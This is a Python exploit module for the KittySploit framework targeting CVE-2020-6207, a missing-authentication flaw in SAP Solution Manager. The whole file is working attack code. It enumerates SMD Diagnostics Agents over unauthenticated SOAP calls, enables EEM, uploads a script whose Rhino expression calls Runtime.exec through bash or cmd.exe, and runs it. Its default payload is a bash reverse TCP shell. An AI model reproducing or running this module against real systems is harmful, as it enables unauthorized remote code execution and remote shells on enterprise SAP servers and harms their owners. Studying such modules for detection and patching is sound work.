SAP Solution Manager EEM RCE (CVE-2020-6207)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SAP Solution Manager EEM servlet RCE (CVE-2020-6207) — reverse CMD on SMD Agent."""

from __future__ import annotations

import base64
import re
import secrets
import xml.sax.saxutils as saxutils

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'SAP Solution Manager EEM RCE (CVE-2020-6207)',
        'description': (
            'Exploits CVE-2020-6207 missing authentication on /EemAdminService/EemAdmin '
            'to upload an AssignJS EEM script and execute self.payload on a connected '
            'SAP Diagnostics Agent via Rhino/Java Runtime.'
        ),
        'author': ['Pablo Artuso', 'Yvan G', 'KittySploit Team'],
        'cve': ['CVE-2020-6207'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2020-6207',
            'https://launchpad.support.sap.com/#/notes/2890213',
            'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf',
        ],
        'tags': ['sap', 'solman', 'eem', 'smd', 'unauth', 'rce', 'kev', 'cve-2020-6207'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 6,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['sap'],
                'endpoint_pattern_any': ['/EemAdminService/EemAdmin'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'EEM AssignJS on SMD Agent'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/cve_2020_6207_detect'],
            },
        },
    }

    port = OptPort(50000, 'SAP Solution Manager HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    agent_name = OptString('', 'SMD Agent serverName (auto if empty)', False, advanced=True)
    shell = OptChoice(
        'unix',
        'Shell wrapper for Runtime.exec',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )
    cleanup = OptBool(True, 'Stop and delete uploaded EEM script after run', False, advanced=True)

    _EEM_PATH = '/EemAdminService/EemAdmin'
    _SOAP_HEADERS = {
        'SOAPAction': '""',
        'Content-Type': 'text/xml; charset=UTF-8',
        'Connection': 'close',
    }

    def _soap(self, body: str) -> str:
        return (
            '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" '
            'xmlns:adm="http://sap.com/smd/eem/admin/">'
            '<soapenv:Header/><soapenv:Body>'
            f'{body}'
            '</soapenv:Body></soapenv:Envelope>'
        )

    def _eem_post(self, body: str):
        return self.http_request(
            method='POST',
            path=self._EEM_PATH,
            data=self._soap(body),
            headers=self._SOAP_HEADERS,
            allow_redirects=False,
        )

    def _parse_agents(self, text: str) -> list[dict[str, str]]:
        agents: list[dict[str, str]] = []
        for block in re.finditer(r'<(?:\w+:)?agentInfo[^>]*>(.*?)</(?:\w+:)?agentInfo>', text or '', re.DOTALL):
            chunk = block.group(1)
            name = re.search(r'<(?:\w+:)?serverName[^>]*>([^<]+)</', chunk)
            status = re.search(r'<(?:\w+:)?agentStatus[^>]*>([^<]+)</', chunk)
            host = re.search(r'<(?:\w+:)?hostName[^>]*>([^<]+)</', chunk)
            if not name:
                continue
            agents.append({
                'serverName': name.group(1).strip(),
                'agentStatus': (status.group(1).strip() if status else ''),
                'hostName': (host.group(1).strip() if host else ''),
            })
        return agents

    def _pick_agent(self) -> str | None:
        if self.agent_name:
            return str(self.agent_name).strip()
        r = self._eem_post('<adm:getAllAgentInfo/>')
        if not r or int(r.status_code or 0) != 200:
            return None
        agents = self._parse_agents(r.text or '')
        for agent in agents:
            if agent.get('agentStatus') == '1' and agent.get('serverName'):
                return agent['serverName']
        for agent in agents:
            if agent.get('serverName'):
                return agent['serverName']
        return None

    def _enable_eem(self, agent: str) -> bool:
        body = (
            '<adm:setAgeletProperties>'
            f'<agentName>{saxutils.escape(agent)}</agentName>'
            '<propertyInfos>'
            '<flags>3</flags>'
            '<key>eem.enable</key>'
            '<value>True</value>'
            '</propertyInfos>'
            '</adm:setAgeletProperties>'
        )
        r = self._eem_post(body)
        return bool(r and int(r.status_code or 0) == 200)

    def _assignjs_script(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace("'", "\\'")
        if self.shell == 'windows':
            expr = f"Packages.java.lang.Runtime.getRuntime().exec(['cmd.exe','/c','{safe}']).waitFor();"
        else:
            expr = (
                "Packages.java.lang.Runtime.getRuntime().exec(['/bin/bash','-c','"
                + safe
                + "']).waitFor();"
            )
        expr_attr = saxutils.quoteattr(expr)
        return (
            '<?xml version="1.0" encoding="UTF-8"?>\n'
            '<Script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'editorversion="7.10.1.0.20101027150712" exetype="xml" '
            'hrtimestamp="2010.10.27 15:11:20 CEST" name="ks" timestamp="1288185080821" '
            'type="http" version="1.1" '
            'xsi:noNamespaceSchemaLocation="http://www.sap.com/solman/eem/script1.1">\n'
            '  <TransactionStep id="1" name="dummy">\n'
            '    <Message activated="true" id="2" type="Command" url="" name="AssignJS" method="AssignJS">\n'
            f'    <Param name="expression" value={expr_attr} />\n'
            '    <Param name="variable" value="ks" />\n'
            '    </Message>\n'
            '  </TransactionStep>\n'
            '</Script>'
        )

    def _upload_script(self, agent: str, script_name: str, cmd: str) -> bool:
        content = base64.b64encode(self._assignjs_script(cmd).encode()).decode()
        scenario = f'KsScenario{secrets.token_hex(4)}'
        body = (
            '<adm:uploadResource>'
            f'<agentName>{saxutils.escape(agent)}</agentName>'
            '<fileInfos>'
            f'<content>{content}</content>'
            '<fileName>script.http.xml</fileName>'
            f'<scenarioName>{scenario}</scenarioName>'
            '<scope>Script</scope>'
            f'<scriptName>{saxutils.escape(script_name)}</scriptName>'
            '</fileInfos>'
            '</adm:uploadResource>'
        )
        r = self._eem_post(body)
        return bool(r and int(r.status_code or 0) == 200)

    def _run_script(self, agent: str, script_name: str) -> bool:
        body = (
            '<adm:runScript>'
            f'<agentName>{saxutils.escape(agent)}</agentName>'
            f'<script>{saxutils.escape(script_name)}</script>'
            '</adm:runScript>'
        )
        r = self._eem_post(body)
        return bool(r and int(r.status_code or 0) == 200)

    def _cleanup_script(self, agent: str, script_name: str) -> None:
        for action in ('stopScript', 'deleteScript'):
            body = (
                f'<adm:{action}>'
                f'<agentName>{saxutils.escape(agent)}</agentName>'
                f'<scriptName>{saxutils.escape(script_name)}</scriptName>'
                f'</adm:{action}>'
            )
            self._eem_post(body)

    def check(self):
        r = self._eem_post('<adm:getAllAgentInfo/>')
        if not r or int(r.status_code or 0) != 200:
            return {
                'vulnerable': False,
                'reason': 'EemAdminService did not respond to getAllAgentInfo',
                'confidence': 'medium',
            }
        body = r.text or ''
        if ':getAllAgentInfoResponse' in body or 'getAllAgentInfoResponse' in body:
            agents = self._parse_agents(body)
            return {
                'vulnerable': True,
                'reason': f'CVE-2020-6207 EEM admin reachable ({len(agents)} agent(s) reported)',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Unexpected EemAdminService response',
            'confidence': 'medium',
        }

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            self.not_vulnerable()
            return False

        agent = self._pick_agent()
        if not agent:
            print_error('No SMD Agent serverName found; set agent_name manually')
            return False

        cmd = str(self.payload or '').strip()
        if not cmd:
            print_error('No payload configured')
            return False

        print_status(f'Using SMD Agent: {agent}')
        if not self._enable_eem(agent):
            print_error('setAgeletProperties(eem.enable) failed')
            return False

        script_name = f'KsScript{secrets.token_hex(3)}'
        if not self._upload_script(agent, script_name, cmd):
            print_error('uploadResource failed')
            return False
        if not self._run_script(agent, script_name):
            print_error('runScript failed')
            if self.cleanup:
                self._cleanup_script(agent, script_name)
            return False

        print_success(f'CVE-2020-6207 payload dispatched on agent {agent}')
        if self.cleanup:
            self._cleanup_script(agent, script_name)
        return True